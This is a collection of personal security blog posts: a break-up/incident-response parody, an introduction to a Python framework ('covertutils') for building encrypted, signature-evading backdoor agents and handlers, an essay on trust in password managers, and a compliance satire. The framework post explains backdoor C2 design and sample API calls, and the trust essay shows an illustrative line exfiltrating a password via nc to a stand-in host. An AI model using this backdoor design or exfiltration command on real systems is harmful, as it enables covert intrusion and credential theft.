Tag: security

Between an Incident Response and a Break-up

Long time again… Sometimes I feel like I am gathering inspiration for too long, and it starts defusing after a while.

There is a perfect timing – a sweet spot – for writing a poem or a python package. If you miss it  that’s it, you missed it… You need to gather your inspiration all over again…

It’s been almost a year since my first post (Dating as a form of Penetration Testing). It is time for a break-up parallelization. Here we go!


Incident Response as a form of a Break-up

The Setup

Sometimes bad things happen. Those bad things vary in type, but a security incident in a company can be a very bad thing. A Bad like Jesse James thing. A company can lose thousands of $ or because of a spear-phishing campaign, or a compromised account on the database server.

A break-up, in the other hand is a more straightforward thing. You gotta get separated from someone or something beloved (I won’t forget the moment I gave up my ThinkPad, for my corporal machine).

For a guy the beloved thing is his girlfriend (or even his boyfriend), for a sys admin it’s the rootkit‘d File Server (he spend days and mojo building).

And you gotta get separated for sure… The Relationship/Server is no good anymore. It actually does more harm than good

Going Deeper

Technically speaking, there are several phases, both on an incident response, and on a break-up. And if you think of it hard enough, they seem to be the same phases…

SANS documents the Incident Response Phases in the GCIH cert material as follows:

  • Identification
  • Containment
  • Eradication (Cleaning Up)
  • Recovery
  • Lessons Learned

Hell, doesn’t this sound awfully familiar already?

So, let’s shine! Our star tonight: the Separated & Hacked SysAdmin



I don’t actually feel the same way I used to with her. I feel nothing when I touch her… I don’t care if I will be seeing her tonight or not

# ps aux
root 1 0.0 0.0 19356 648 ? Ss May20 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S May20 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S May20 0:03 [migration/0]
root 4108 0.0 0.0 11716 548 ? S May20 0:02 /usr/sbin/.httpd
apache 37008 0.0 0.0 213148 11328 ? S May21 0:04 /usr/sbin/httpd

It is this time! The shivers you get. The mindblow. The spine that tingles a bit. The urge to cry… The realization that you have no tears…

It happened on Monday. It had to be about 19:something. Stayed at work late and had to come at her place for the night. The moment he was typing the ps command (for no reason, like every Linux guy who is bored in front of the #), he was thinking of his girlfriend…

Stayed late just to have some time alone. Didn’t have work to do. Didn’t need to be at work at all. But, for some reason he couldn’t get his head around the forthcoming sleepover. It ‘d be the same thing again. The same meal, the same sex, the same “Calvin and Hobbes” comic in the WC… He wouldn’t do it.

Then he grasped the ps output. Couldn’t actually believe what he was staring at. At first he was like “Hey, my httpd ain’t running as root. I fixed the config two days ago“. And then he went: “what the fuck is this bro?” (he loves P.C. Principle from South Park).

After the shock he had two phone calls to make. More like three. The first one was to his girlfriend. Talked about the incident. He couldn’t come over… He was somewhat hopeful for this. Somewhat… Sometimes digital forensics are better than sex. But that night… That night anything was better than sex!

And then he called the Incident Response team, and his best friends. Ordered pizza from the office to his home (that makes it four phone calls). Arranged a meeting for tomorrow morning with the Incident Response guys and headed for home were his friends were also heading after the Bromance Alarm.

He had to figure out both issues the following day. How comes he can’t see her face in his mind?. How this rogue process was planted? He had to get his shit together…



SANS got me on this again! SANS explains the Containment Phase as “to stop the bleeding“. SANS guys must be really experienced with break-ups apart from sleuthkit.

So, the sys-admin guy broke-up the next morning. He was the smart type of guy – he didn’t depress his feelings. He felt like so and he broke-up!

Ironically, he did so over the phone, while the Incident Response guys were unplugging the Ethernet from his server (after gathering live memory dumps of course)…

The containment phase began the same evening. He gathered the gang again and went to a Pub. Got almost wasted with just beers and nachos. Then he introduced himself to a stranger, while his friends were constantly provoking him, like high-schoolers (do we –men– actually ever escape the high-school age?). Told everything to her, while constantly burping like Rick from Rick and Morty.

He knew nothing about what was going to happen next… He knew nothing about the Nightingale Syndrome that the woman was under. To make a long story short, after almost crying on her arms, they got pre-laid in the Pub’s WC and completely laid in her place…

She became his “rebound girl” for a while. He slept over in her house for almost a week. He went home to pick up things like toothbrush and clothes. Too many memories in there… It was time for…



The Friday Night was a bummer. All day Friday in work he was trying to remove the malware from the compromised server. There were also, crontabs, services, even a kernel mod was found by the forensics team…

He kept removing shit and more shit kept spawning. Rogue binaries in /root/bin/ and bogus entries in lsmod output… All day Friday he was removing malware…

Then he got home. A Friday evening. His friends were all busy and he kind of missed his ex.

What follows is often seen in movies and teenager video-clips. He got his zippo and went to the bathroom with all the pictures he had from the previous holidays they did together. He set them on fire on the bathtub. Later he brought presents and all romance-shit card-postals and letters from the Erasmus era. Her old sunglasses, her toothbrush, 3 pairs of socks… He kept burning stuff all night and more kept spawning…



He took days burning stuff and drinking Mountain Dew or Dr. Pepper. He also made a new friend – the pizzaboy. Gained some weight, stopped going out, lost the NBA finals. He was a mess for some time…


Then, suddenly one morning, he woke up motivated! Went for a walk before work by himself. Had some push-ups before putting his jeans on. It was time to finally recover…

Went to work and rebuilt the whole server. LDAP authentication, public key only authentication on SSH, remote sys-logging, etc.

Then he got home. Cooked a meal for himself, after a long time. Brewed some coffee. Checked out Hacker News from his Android, like he used to, even before he met his ex.

Later that day, he went to the Pub, alone. Got some beer and sat by the window, alone. Nothing happened. None talked to him and he talked to no one. He did some thinking, all by himself.

Before going to bed, ’round midnight, he remembered he loved Kerouac and Burroughs. Their books were on the shelf collecting dust for too long. It had been years since he last read his favorite books. Goddammit, what had happened to him…

Fell asleep while reading the Junky, feeling nostalgic. It was the first day for the rest of his life…


Lessons Learned

He went to work earlier that morning. Determined. Whatever fucked that server up wouldn’t happen again. At least wouldn’t without him noticing

Utilized syslog everywhere. Everywhere! Even to the coffee machine. Spent countless hours setting up Kibana, added a Suricata to the firewall appliance and FINALLY created VLANs!

The thing went personal. This was not just his company’s network, it was his personal fortress


He stayed up late at work, and when he got home, he got a beer and did some more thinking. Why did he abandon everything while being with his ex-girlfriend? Why did he give up all the music he used to like? His favorite books? His friends? His role as linux-guru sys-admin?

Felt a bit desperate on why he left everything for her. Couldn’t understand why he lost the best bits of himself just by being with her… He wouldn’t do that again.

The thing went personal. He was not just a body and soul looking forward to mate again, he was his personal fortress




Highly inspired by “\”How To Break Up\” Tales Of Mere Existence” and my life.

Thanks for reading my 12th article.





Reinventing the Wheel for the last time. The “covertutils” package.

A colleague reviewed my article and found it hopeless. I could definitely blame him, but he is a real rock when it comes to reporting, teaching and lecturing about security topics.

So I revised my article, according to his remarks, which mainly were: “You are describing a damn protocol – add some PICTURES goddammit!”. Enjoy…


The motivation

Those last months I came across several Github projects with RAT utilities, reverse shells, DNS shells, ICMP shells, anti-DLP mechanisms, covert channels and more. Researching code of other people gave me the ideas below:

Those things have to support at least an encryption scheme, some way of chunking and reassembling data, maybe compression, networking, error recovery. (To not mention working-hours operation-empire agent, certificate pinningmeterpreter and unit identification-pupyRAT).

And they all do! Their authors spent days trying to recreate the chunking for the AES Scheme, find a way to parse the Domain name from the exfiltrating DNS request, recalculate IP packet checksums and pack them back in place, etc…

And then it got me. A breeze of productivity. That crazy train of creation stopped just before my footnails. The door opened…

What about a framework that would handle all those by itself?

A framework that would be configurable enough to create everything from a TCP reverse shell, to a Pozzo & Lucky implementation.

A framework without even the most stable external dependencies, that uses only python build-ins

And all those without even thinking of encryption, message identification, channel password protections and that stuff we hate to code.

Then I started coding. Easter found me coding. Then Easter ended and I was still coding. Then I didn’t like my repo and deleted it altogether. I recreated it and did some more coding. Spent a day trying to support Python 3 and gave up after 10 hours of frustrated coding.

And finally it started working. The “covertutils” package was born. A proud python package! And here it is for your amusement:


And here are the docs:


Let’s get to it…


Basic Terminology of a backdoor

So let’s break down a common backdoor payload. In a backdoor we have mainly two sides. The one that is backdoored and the one that uses the backdoor.

The host that is backdoored typically runs a process that gives unauthorized access to something (typically OS shell). This process and the executable (binary or shellcode) that started it is the “Agent“.

The host that takes control of the backdoored machine typically does so using a program that interacts with the Agent in a specific way. This program is the “Handler” (from exploit/multi/handler anyone?)

Those two have to be completely compatible for the backdoor to work. Noticed how the Metasploit’s exploit/multi/handler asks for the payload that has been run to the remote host, just to know how to treat the incoming connection. Is it a reverse_tcp VNC? a stageless reverse_tcp_meterpreter?

Examining the similarities of those two (agents and handlers) helped me structure a python API, that is abstract, easy to learn, and configurable.


The covertutils API

All inner mechanics of the package end up in 2 major entities:

  • Handlers
    Which are abstract classes that model Backdoor Agent’s and Handler’s behavior (beaconing, silent execution, connect-back, etc).

    Attention passengers: The Handler classes are used to create both Agents and Handlers.

  • Orchestrators
    Which prepare the data that has to travel around. Encryption, chunking, steganography, are handled here.

With a proper combination of those two, a very-wide range of Backdoor Agents can be created. Everything from simple bind shells, to reverse HTTPS shells, and from ICMP shells to Pozzo & Lucky and other stego shells.


The data that is transferred is also modeled in three entities:

  • Messages
    Which are the exact things that an agent has to say to a handler and vice-versa.
  • Streams
    Arbitrary names, which are tags that inform the receiver for a specific meaning of the message. Think of them almost like meterpreter channels with the only difference that they are permanent.
  • Chunks
    Which are segmented data. They retain their Stream information though. When reassembled (using a Chunker instance) they return a (Stream, Message) tuple.

The Orchestrator

Orchestrators can be described as the “objects that decide about what is gonna fly through the channel“. They transform messages and streams to raw data chunks. Generally they operate like follows:


The chunks can then be decoded to the original message and stream by a compatible Orchestrator instance. They are designed to produce no duplicate output! Meaning that all bytes exported from this operation seem random to an observer (that hasn’t a compatible Orchestrator instance available). This feature is developed to avoid any kind of signature creation upon the created backdoors, when their data travel around networks…

The code that actually is needed for all this magic is the following:

>>> message = "find / -perm -4000 2>/dev/null"
>>> sorch = SimpleOrchestrator("Pa55w0rd!", streams = ['main'])
>>> chunks = sorch.readyMessage( message, 'main' )
>>> for chunk in chunks :
...     print chunk.encode('hex')

And to decode all this:

>>> sorch2 = SimpleOrchestrator("Pa55w0rd!", streams = ['main'], reverse = True)
>>> for c in chunks :
...     stream, message = sorch2.depositChunk( c )
>>> stream, message
('main', 'find / -perm -4000 2>/dev/null')
  • Note the reverse = True argument! It is used to create the compatible Orchestrator. Same objects are not compatible due to duplex OTP encryption channel.


The Handler

Handler‘s basic stuff is declared in an Abstract Base Class, called BaseHandler. There, 3 abstract functions are declared, to be implemented in every non-abstract subclass:

  • onMessage
  • onChunk
  • onNotRecognised

When data arrive to a Handler object, it uses the passed Orchestrator object (Handlers get initialized with an Orchestrator object) to try and translate it to a chunk. If it succeeds the onChunk(stream, message) method will be run. If the received data can’t be translated to a chunk then the onNotRecognised() will run.
Finally, and if the raw data is successfully translated, the Orchestrator will create the actual message when the last chunk of it is received. The onMessage(stream, message) method is run when a message is fully assembled.

The combined idea of a backdoor can be seen in the following image (fullscreen might be needed):



The Internals

How Streams are implemented

The Idea

Data needs to be tagged with a constant, for the handler to understand that it is meant to consume it. As a handler may receive data that is irrelevant, not sent from the agent, etc…

The problems in this idea are several. Bypassing them created the concept of the stream.

First of all, the constant has to be in a specific location in the data, for the handler to know where to search for it. That brings as to the second thing:

If a constant is located at a specific data offset, it defines a pattern. And a pattern can be identified. Then escalated to analysts. Then blacklisted. Then publicly reported and blocked by public anti-virus products.

So for the tagging idea to work well, we mustn’t use a constant. Yet the handler has to understand a pattern (that can’t be understood by analysts). Considering that both the Agent and Handler share a secret (for encryption), the solution is a Cycling Algorithm!

The StreamIdentifier Class

When sharing a secret, infinite secrets are shared. If the secret is pa55phra53 then we share SHA512(“pa55phra53“) too. And MD5(“pa55phra53“). And SHA512(SHA512(“pa55phra53“)). And MD5(SHA512(“pa55phra53“+”1”)). You get the idea.

So the StreamIdentifier uses this concept to create tags that are non-repetitive and non-guessable. It uses the shared secret as seed to generate a hash (the StandardCyclingAlgorithm is used by default, a homebrew, non-secure hasher) and returns the first few bytes as the tag.

When those bytes have to be recognized by a handler, the StreamIdentifier object of the handler will create the same hash, and do the comparison.

The catch is that when another data chunk has to be sent, the StreamIdentifier object will use the last created hash as seed to produce the new tag bytes. That makes the data-tag a variable value, as it is always produced from the previous tag used plus the secret.

A sequence of such tags is called a Stream.

Multiple Streams

Nothing stops the implementation from having multiple streams (in fact there is a probability pitfall, explained below…)! So instead of starting from “pa55phra53″ and generate a single sequence of, let’s say, 2 byte tags, we can start from “pa55phra531″, “pa55phra532”, “pa55phra533” … and create several such sequences (streams).

The StreamIdentifier will, not only identify that the data is consumable, but will also identify that a tag has been produced from “pa55phra531″, or “pa55phra533”. This can used to add context to the data. Say:

  • Everything produced from “pa55phra531 will be for Agent Operation Control (killswitch, mute, crypto rekeying, etc)
  • Everything produced from “pa55phra532 will be run on a OS shell
  • Everything produced from “pa55phra533 will be shellcode that has to be forked and run
  • Goes on and on…

Now the messages themselves do not need to follow a specific protocol, like:

shell:uname -a

they can be raw (saving bytes on the way), relying on the stream for delivering the context (when writing a RAT’y agent several features have to implemented, streams come in handy with this).

The streams are named with user-defined strings (e.g “shell”, “control”, etc) to help the developer.


The Pitfall

Tags have to be small. They shouldn’t eat to much of the bandwidth. They are like protocol headers in a way. Not too small to be guessable or randomly generated from a non-agent, not too big to be a small part of the raw data.

When implementing a tone of features using streams (say 8 features), using a 2-byte tag (it is the default) will create a small chance of collision. Specifically a 1/2341 chance (still more probable than finding a shiny pokemon in Pokemon Silver – 1/8192).
And to make things worse: this chance is not for the whole session, but per sent chunk (as tags are cycling for every chunk), so it is quite high!

The Solution

Well, maths got us down. For so many features, a new byte (3 byte tags) will minimize the chances tremendously. There is also an option to make the tags constant. This way the above chance counts for the whole session, making a collision quite hard.


Handler Types

At time of writing, there are several Handler Classes implemented. Each modelling a specific backdoor behavior.

  • BaseHandler
    This is the Base Class that exposes all abstract functions to the sub-class.
  • FunctionDictHandler
    Gets a (stream -> function) dict and for every message that arrives from stream x, the corresponding function is called with message as argument.
  • InterrogatingHandler
    This handler sends a constant message across to query for data. This is the way the classic reverse_http/s agents work. They periodically query the handler for commands, that are returned as responses. Couples with the ResponseOnlyHandler.
  • ResettableHandler
    This Handler accepts a constant value to reset all resettable components to initial state. The One Time Pad key, the stream seeds the chunker’s buffer, etc.
  • ResponseOnlyHandler
    This is the reverse of the InterrogatingHandler. It sits and waits for data. It sends data back only as responses to received data. Never Ad-Hoc.
  • StageableHandler
    This is a FunctionDictHandler that can be extended at runtime. It accepts serialized functions in special format from a dedicated stream, to add another tuple in the function-dict, extending functionality.



The objects that handle the raw data to (stream, message) conversion are the Orchestrators.

They have some basic functionality of chunking, compression, stream tagging and encryption. They provide 2 methods, the readyMessage(message, stream) and the depositChunk(raw_data). The first one returns a list of data that are ready to be sent across (tagged, encrypted, etc), and the second one makes the Orchestrator try to consume data received and returns the (stream, message) tuple.


End of Part 1

The whole package includes several features that are not even mentioned in this article (Steganography, Data ManglingStegoInjector and DataTransformer classes-, etc), that while implemented, aren’t properly documented yet, so their internals may change.

They will be the subject of another post, along with a Pozzo & Lucky implementation using only coverutils and Raw Sockets.


I the mean time, there are some Example Programs for you to play around!

Feedback is always appreciated…


Trust: a tale of Security, Philosophy, Reverse Engineering and Python

The role of Trust on InfoSec Incidents

Security boils down to be entirely about trust, if you come to think of it. Every information security incident could somehow be rephrased to include the word “Trust” in its reasons of happening. Just try anything:

  • SQL Injections all over the Web (and injection family exploits): “Mistrusted user input”.
  • Cross-Site Scripting: Mistrusting that a site will run on your browser only non-malicious code.
  • Superfish Incident: Add of an untrusted SSL Certificate in the Trust List of all computers from Lenovo.
  • Stuxnet:
    • Enough trust to a USB removable medium for it to be plugged in an “Air-gapped” computer.
    • Trust of the engineers on what they see (the backdoored health monitoring indication of the centrifuges) rather than what they hear (the centrifuges screaming as they were over-spinning).
  • Heartbleed, Shellshock: Trust on Open Source code auditing (as those were glaring bugs – and not the only ones)
  • Snowden’s leaks (it is a Security Incident for the 3-letter guys): Too much Trust on an employee (even a high positioned one).
  • … add your favorite Incident here …

And I mean all Security, Crypto included…

Encryption algorithms are trusted to be working. I mean there are Proofs on that they work (work means that decryption undoes encryption) but there aren’t proofs on that there can be no ways to deduce easily the key (easily meaning “easier than brute force”). There are also “Backdoored Ciphers” (with DES flirting closely with this speculation). Do we Trust these? Of, course not! Did we trust them before speculating or prooving they were backdoored? Sure, I mean, why not (DES was the fuckin’ Encryption Standard, as its name implies).

In the same manner: Today we trust AES. Ιf tomorrow we find out that there is a way to (instantly) decrypt every AES communication, we won’t trust it anymore. Meanwhile someone is reading us… And we have ourselves another trust-based security incident.


Why Trust anyway?

As  Ernst Alexander Rauter put it, in his famous “Creating subject people – How an opinion forms in the mind” (a book that isn’t sold on amazon in english – german edition),: “Trust is something that always upflows, from low power people to higher power people“. This is a very rough translation of the fact that people tend to trust things they don’t manipulate. Also people never want to feel scammed, so in defense of the exploration of an unwanted truth they prefer to just “trust“.

That’s why we trust crypto, and we trust our Operating System or our car. Because we can’t be 100% sure about their actions. So we politely assume that everything works as intended. Just to be gentle with ourselves.


The Trust Game in Computers

One of UNIX’s fathers, Ken Thompson, (apart from being the reason you see a.out files when compiling without arguments), implied a groundbreaking question in 1984 (a really controversial date!): “Do you trust your compiler? Do you trust your compiler so much that you are sure that when you compile the /bin/login binary, it won’t plant a backdoor in it?“. I am talking about the well-known “Ken Thompson Hack” documented in his awesome paper “Reflections on Trusting Trust“.

The truth is we trust our default gcc installation, and –seriously– never questioned it. It seems far-fetched to believe that there is such possibility. The reason for that is because we have to be reverse engineers to actually Check It. And this isn’t the case for the most of us…



Asking for and gaining Trust

My case study subject

Do you know about the kind of application called “Password Manager“? Applications like  “KeePass” that keep all your passwords in one place. They save them to disk in encrypted form and copy them to your clipboard whenever you need them, while you protect them all with a single “Master Password/Decryption Key“.

Asking for Trust

Those applications need a whole lot of trust from the users that use them. They could easily exfiltrate all your passwords to an unknown location without you noticing. In reality the only password worth exfiltrating is your email account’s password. If someone accesses your email’s password, the “Forgot my Password” button could do the rest of the work in all websites you’ve registered…

Gaining Trust

So how an application so crucial to your privacy gains Trust?

Well most of the time it doesn’t. Most of the time people assume that the binaries they download will do what they were described they do. Even their DLLs. But that’s because most people can’t actually check what an executable is doing. They trust because of their inability to know.

We need to go deeper

For an infosec researcher trust is gained. I trust that nmap works the way it works as I have wireshark‘d it a whole lot of times. I am sure https meterpreter is stealthy enough in many cases as I had it bypass my own firewall first. And I trust that keepass doesn’t make remote connections because of this:

n0p_sl3d@hostname:~$ objdump -D $(which keepassx) | grep socket


n0p_sl3d@hostname:~$ objdump -D $(which netcat) | grep socket | wc -l

If you are used to C language Socket Programming you know that the way to open a network connection is through the socket function. And, in the untrimmed, non-statically compiled version of keepassx I use, there are no such calls in the binary. That’s definitely a good sign! Some trust is gained now!

But if you think of it, a call like:

system("echo %s | nc bad-domain.ddns.net 8080" % email_password);

doesn’t create a socket but would still exfiltrate my pass. That’s why keepass is Open Source. Just grep the code for similar looking calls, if you find any, keepass is a nasty traitor…

Sure that’s a lot of work but it is also your call how far you can go. Depending on how much you value your passwords. It’s a trade-of.


 For the Unconvinced

If keepass has a backdoor (while open-source) it has to be hidden in a smart way. And while you don’t know the author, you can’t be sure about his intentions. The only way to trust some things is to be 100% sure about how they operate. That brings us to the last part of this post:


100% Trust

The person highest in the Trust Scale, we maintain inside us, is ourselves. We ultimately believe in our eyes and hands. The Password Manager we will trust the most is the one that we will write ourselves or the one we carefully went through its code, and understood it line by line

This tends to be impossible for most Open Source projects, sometimes even for their contributors. Trust in Open Source projects suggests smaller, more comprehensive projects, in a Programming Language for humans, to be achieved in the desired 100% percent…


Python to the rescue!

There are like 15 actively used Programming Languages nowadays, but the ones they maintain a tiny chance of being understood in a glimpse of an eye are the english-like scripting ones (that means Python only).

So the goal was to create a Proof of Concept Python Password Manager that wouldn’t exceed 50 lines of code(single file) and will provide reasonable security, while being as easy to understand as possible maintaining the basic features. That way people would use it and be absolutely sure about what it does. The goal was to convince the unconvinced that this tool works as intended and only as intended. And here it is!


TinyPwdMan‘s code can be found here: https://github.com/operatorequals/TinyPwdMan/blob/master/TinyPwdMan.py

The Source Code fits in a single page without scrolling! It uses master password, XOR encryption and can even copy to clipboard. It’s initial size is 38 lines.

It isn’t designed for real use (while it works flawlessly), but for a demonstration on what can really be absolutely trusted, and what is trusted because of its convenience. Because let me tell you: keepass beats that little Password Manager out of the water when it comes to convenience.

Either way, your passwords are as unsafe as the weakest link of your chain in which you use them. From mind, to keyboard, to OS, to application, to network, to the other side.

And the weakest link is not the encryption, nor the possibility of an exfiltration that would cost a Password Manager Author his reputation (once discovered), and probably his career and life.

The weakest link is you!






How compliance kills Security (and Romance)…

Let’s say you go on a date. A first date.

You dress up like a prince and get your glossy watch on. You take an aromatic bath and brush your teeth white as deadbone. Then you spill an abundant portion of your most expensive cologne on your freshly shaved neck and leave home to find your sparkly car you washed in the morning. You fire up a Cesaria Evora CD and hit the road, sure you are gonna impress that sweetie to the bone.

Yes, you guessed it right. You are a Sales Manager.

And the date is with a manager of another company, that just happens to be female. She is gorgeous and all but you are totally interested in something else… You know she wants to get an ISO (or whatever) certification for her company, and the last requirement for the certification is a Risk Management / Penetration Test Schedule / 24-7 SIEM Service. It also just so happens that you work in a Security Company as well. And the game begins…

A game that feels more like a “cat & mouse” game than a “woman & man” game…

Step 1

She tries to convince you that she has met other guys as well, almost as handsome as you, but she really likes your ways while you try to convince her that you are the best of your kind because you have the most expensive car of all other men.

Step 2

She tries to convince you that her company has several other offers but she just wants to collaborate with you, while you try to convince her that your company has the best RA tools following the top latest standards, the most expertised Pentesters (that used to work as Hackers in the Dark Web before your company recruited them) and the Most accurate super-behavioral SIEM (based on Big Data®) on the market.

Step 3

A really romantic conversation starts about “Hacking“, Information Security, and viri – the plural of virus as it is a latin word (you will try fuckin’ everything to impress her). You mention how someone broke into your Gmail the other day, but you logged in quickly and locked him out by insta-changing the password, how you are sure that your Android Device takes pictures of you, how aware you are about e-mail phishing, and you play your final card with Advanced Persistent Threats (pronounced really slowly as English isn’t your mother tongue – and you speak in English while you are both Greek), what happened in 2009 and mr.Robot.

Those conversations make my heart warmer. Always between someone that hasn’t spawned a ‘cmd.exe‘ in his life (locally, not remotely) and someone else that Just-Only-Really needs his company certified and doesn’t give a shit about computers apart from Microsoft Excel (he is the one that runs the macros to “Enable Editing” just for the hell of it – because this button shouldn’t stay there unclicked).

So romantic that my heart skips!

Endgame / Aftersale

Her company is now a client of yours, got certified and you continue dating her… The RA/PenTest/SIEM Integration went great, found a lot of issues and all. Her company hired another company to fix the bare minimum of issues (fixing security bugs can be costly) required to pass the certification (enable some SSL, patch the Windows XPs to Service Pack 2 at least -for god’s sake-, refine the ‘any to any‘ Firewalling).

Your dates are great as well! She likes your taste in music and wine and you adore the wide smile she gives you when you talk just about anything (you remind her of her father that until her 15ish she was sure he knew everything – maybe in another article).

After a week you forgot to brush your teeth before going out with her. After two weeks you forgot your wallet at home, remembered about it just before you fire up the Cesaria Evora CD and said “Fuck it, we will eat cheap tonight” – ended up both smoking on a bench (from her cigarettes) talking about your previous relationships, eating chips. After three weeks you turned down a date with her to get wasted with your college friends and after a month you had a hot-dog with chili con-carne and jalapenos session just before you sleep at her place and farted (silently) all night long on her bed.

While you are dating, your company didn’t report all issues found at the latest PenTest and filtered out some of her companies suspicious constant behaviors us “they won’t fix them anyway” (and they won’t, that’s for sure).

In terms of relationships this phenomenon is called Over-Familiarization, in terms of companies this is called Compliance.


The Break-Up / End of Collaboration

One day her company’s website has a DickPic favico and a “Smoke Weed Every Day 420“-whatever Index page, while some domain user double-clicked a “CallOfDuty2_keygen.exe” or downloaded an EXE from the Internets to fix a “ntoskrnl.exe is missing” issue or the CEO clicked at an “Enlarge your Penis” spam e-mail link (spear-phishing?) and got a nasty ransomware that encrypted all SMB folders. Not to mention that some of its domains are blacklisted in spamhaus EDROP.

One day she wakes up feeling utterly neglected. She slept with the lights on, waiting for a call from him. Her mouth has that sour wakeup-taste and she is out of coffee too. Life sucked bad, but not that bad until the phone rang. She got a call from the office (she is a manager – remember! She is never at her office when she is needed) about the situation. There is another Security Company promising to “fix things“. She has to arrange a Business Meeting with her boyfriend to end the collaboration. She was also feeling like breaking-up… Perfect match.

(She knows she won’t miss his sleepovers. Not one bit)


The Good Guy

Oh, that new guy! He is an IT Manager in the Security Company hired to fix everything. And, good lord, he really did!

He works at the R & D department and he is every woman’s dream. He is always like “C’mon babe, let’s try something new” and she is like “That’s the first day of the rest of my life“. We could really say he patched her systems up!

He gets distant sometimes (when he stares at packets or debuggers all day without any outcome), but then he rises up again, better than before, ready for more winter roadtrips, drive-by cinema nights, coffee, cigarettes and breakfast-at-bed Day-Off mornings, or ice-cream afternoons!



It’s once more the who will get the girl problem. And I mean who will really get her. And it’s all about motivation. Greyhats may be “unethical” sometimes (again, it depends heavily on the context) but their heads are pure R&D labs. They lead the way, with the rest of InfoSec community chasing them (DefCon is the bright example where people with questionable ethics spill knowledge freely in every direction)…

And as long as companies rely only to compliance (with that meaning standard procedures, no research) for their income, they refuse to take part in the chase.

And real hackers will continue to really get the girls.